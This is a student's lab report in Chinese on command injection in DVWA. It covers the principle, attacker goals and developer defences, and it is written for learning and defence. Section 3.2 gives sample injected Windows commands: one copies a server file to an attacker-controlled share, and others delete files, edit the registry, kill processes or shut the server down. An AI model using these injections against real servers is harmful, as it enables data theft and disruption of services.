山东大学
SHANDONG UNIVERSITY

竞学实训-实验一

Command Injection

李昕 202100460065

2023 年 7 月 3 日

1 问题重述

问题一：请描述 Command Injection **的原理**

问题二：攻击者使用 Command Injection **可以实现哪些目标？**

问题三：开发者应该如何避免 Command Injection **漏洞？**

2 实验准备

参考网上帖子描述搭建 DVWA

如：https://blog.csdn.net/qq_27956821/article/details/123279517

3 实验内容

3.1 请描述 Command Injection 的原理

Command Injection 即命令注入是一类 Web 攻击，利用了 Web 开发者在编写网站或服务器代码时的漏洞实现攻击。其原理为 Web 界面利用代码调用命令行执行系统命令时，未对用户输入的内容进行严格过滤和筛查。

当用户提交内容时，可以在正确内容后面利用“&”或“|”等符号级联上攻击命令，或者提交按照特定结构构造的内容，从而使目标服务器误认并执行恶意命令，达到攻击目的。

以 DVWA 提供的代码为例，Web 应用利用 PHP 命令行接口 *shell_exec* 调用命令行，攻击者通过设计 target 内容来使服务器运行目标命令：

```
1 if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
2       $cmd = shell_exec( 'ping  ' . $target );//通过 shell 环境执行命令
3   }
```

3.2 攻击者使用 Command Injection 可以实现哪些目标？

除课堂上讲的获取系统敏感的配置或文件信息（$dir/ipconfig/systeminfo$），修改系统帐户（$netuser$）外，还可以实现以下目标（由于实验环境为 windows，以下示例均

为 windows 命令)：

1. 操作后台系统文件

利用注入的系统命令下载，上传或删除系统文件内容，如注入 *del* 命令删除服务器指定文件，使用形如 ip && type C:\path\to\file >\attacker\ip\share\downloaded\file.txt 的注入命令下载系统文件内容，或使用使用形如 echo "attacke" > C:\path\to\file 将攻击内容写入指定文件。

2. 修改服务器配置

使用命令注入修改服务器配置，可以利用第一条提到的操作系统文件的方式，直接修改服务器系统的配置文件，达到修改服务器配置的目的。也可以通过 *Regedit* 命令，获取或修改目的服务器的注册表，达到攻击服务器配置的目的。

3. 控制服务器运行或结束指定程序

利用注入的系统命令，攻击者可以使目的服务器运行指定的代码或程序，如注入命令"c:\program files\AIMpack\AIM.exe" 运行指定可执行文件，或注入 *g++* 命令来编译并运行事先上传好的带有恶意攻击功能的 c++ 代码，达到攻击目的；也可注入 *taskkill* 命令，杀死目的进程。

4. 监控系统运行信息

可以通过注入 *tasklist* 命令获得当前系统进程列表，通过注入 *netstat* 命令显示网络连接和端口状态。

5. 获取服务器本地存储数据

若目的服务器存储有重要数据，可以利用第一条列举的 *type* 命令，从目标服务器批量获得文件内容，得到其存储的数据。

6. 强制关闭目的服务器

若目的服务器为某应用或网站服务器，可以利用 windows 关机命令 *shutdown*，强制关闭目的服务器，使该应用或网站瘫痪。

3.3 开发者应该如何避免 Command Injection 漏洞？

为了避免遭受到命令注入攻击，开发者在编写代码和配置服务器时应该注意以下原则：

1. 输入验证与过滤黑名单：对用户输入进行严格的验证和过滤，只允许合法的字符和命令，并且需要考虑特殊字符的转义处理。

通过学习 DVWA 不同安全等级的 PHP 代码，我发现其对输入的要求越来越严格，从 Low 级别的没有输入审查；到 Medium 级别将把" &&" 和" ;" 转为空""，即删除带

有级联符号的命令；再到 High 等级把所以代表多命令的符号全部禁用（不过留下了带空格的“| ”符作为后面）；直到 Impossible 级别完全严格审查输入，只允许数字和点以 IP 的形式输入，这教会我们一个很重要的预防措施，即对用户输入进行严格的验证和过滤，只允许合法的字符和命令，避免用户注入附加的恶意命令

2. 应用程序或系统应以最小的权限来执行用户输入的命令，以降低潜在攻击的影响。

同样以 DVWA 中的 PHP 示例代码为例，shell_exec 命令的权限等级取决于运行 PHP 程序的用户或进程的身份，即当攻击者成功注入恶意命令并执行时，攻击者攻击命令的权限理论上取决于该程序运行时所具备的权限（或处理该条输入的系统权限），故为避免命令注入攻击造成很大的伤害，应该限制运行用户命令的权限，给予尽量小的权限。

3. 使用事先定义好的白名单或受信任的命令列表，将用户全部输入与白名单进行对比，只允许执行受信任白名单中的命令，而不执行用户的不合法的输入，本次实验中 Imopssible 级别的样例代码就使用了白名单（只允许数字和”.”）。

4. 尽量避免直接调用系统命令，使用自定义函数或函数库来代替外部命令的功能，同样以 DVWA 样例代码为例，可以编写输入函数，提取输入中的四个 IP 数字（0-255），利用该函数重新组装 IP 地址并调用 PING 命令，可以最大限度的针对 PING 的预防命令注入攻击。

4 实验总结和个人思考

通过本次实验对于命令注入的学习，我学会了基础的命令注入的原理和方法，以及如何避免命令注入攻击。同时，通过这次试验，我明白了代码漏洞的破坏性，即使是很短的一句代码（如本实验的 $shell\_exec$）也会导致整个系统遭受攻击甚至是被完全控制，这警醒我们在软件开发和代码编写时要考虑周全，在开发阶段就针对各种预想的攻击手段进行针对防御。

另外，我也认识到了对于一个 Web 应用或互联网软件，不能默认用户的输入和各种操作均为符合规范的，要针对各种输入情况做出预设，这不仅是为了防御命令注入攻击，也可以避免进程被恶意输入破坏，如 c 语言不能够检测内存越界问题，如果后端使用定长数组来存储用户输入，则不限制过长的输入会导致内存溢出攻击或直接导致应用内存溢出崩溃。可以通过限制输入的长度和格式，限制输入字符种类等方式，对用户输入做出限制。

在命令注入攻击之外，针对该样例网站，我认为还应考虑 ping 命令的安全性，首先，滥用 ping 命令会造成网络拥堵，而且攻击者也许会利用 ping 命令使该服务器访问恶意 IP，而恶意网站可能会包含事先预设的攻击代码，通过返回值或其他形式对服务器进行攻击。但是通过观察 Impossible 级别和 High 级别的 DVWA 命令注入样例的区别，我发现该代码使用了名为 $generateSessionToken()$ 的函数（可以在用户访问网站时生成随机 token，当用户提交表单时，将该 token 与会话中的 token 进行比较，只有在 token 匹配时才执行请求，从而确保该请求是由合法用户发送的），通过检索我了解到这是实现防止跨站请求伪造（CSRF）攻击，同时我认为该函数应该还可以限制用户使用 ping 命令的次数，防止网络过载，综上，我认为 Impossible 级别的样例基本没有安全隐患。